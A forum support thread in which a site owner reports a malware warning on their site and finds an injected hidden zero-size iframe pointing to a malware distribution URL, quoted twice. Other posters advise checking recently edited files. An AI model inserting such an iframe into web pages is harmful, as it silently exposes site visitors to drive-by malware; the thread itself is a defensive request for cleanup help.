SMF Support > Server Performance and Configuration

My site has been infected with Malware called pokosa :(

(1/3) > >>

agent47:
Guys my site was doing perfectly fine until today when my browser started bringing up this error:

Warning: Something's Not Right Here!
www {dot} superheroalliance {dot} net contains content from pokosa.com, a site known to distribute malware. Your computer might catch a virus if you visit this site.
Google has found malicious software may be installed onto your computer if you proceed. If you've visited this site in the past or you trust this site, it's possible that it has just recently been compromised by a hacker. You should not proceed, and perhaps try again tomorrow or go somewhere else.
We have already notified pokosa.com that we found malware on the site. For more about the problems found on pokosa.com, visit the Google Safe Browsing diagnostic page.

Please tell me how this can be resolved as it seems to be frightening away my members :'(
I don't know what has caused this but it sure as hell is making me sad. Kindly help me out with this someone.

agent47:
So I did a view page source of my site and found this at the end:

<iframe src="http://pokosa.com/tds/go.php?sid=1" width="0" height="0" frameborder="0"></iframe>

The question is how do I remove as in which file should I look into in order to remove this link?

Edited by K@ to add...

IF ANYONE'S CURIOUS AND WANTS TO CLICK ON THE LINK IN THIS POST... DON'T!

Illori:
check which files have been recently edited and go from there.

agent47:
Fixed! Thanks Illori <3

floridaflatlander:

--- Quote from: agent47 on February 07, 2012, 05:52:29 AM ---<iframe src="http://pokosa.com/tds/go.php?sid=1" width="0" height="0" frameborder="0"></iframe>

--- End quote ---

How did this get there in the first place?

Navigation

[0] Message Index

[#] Next page

Go to full version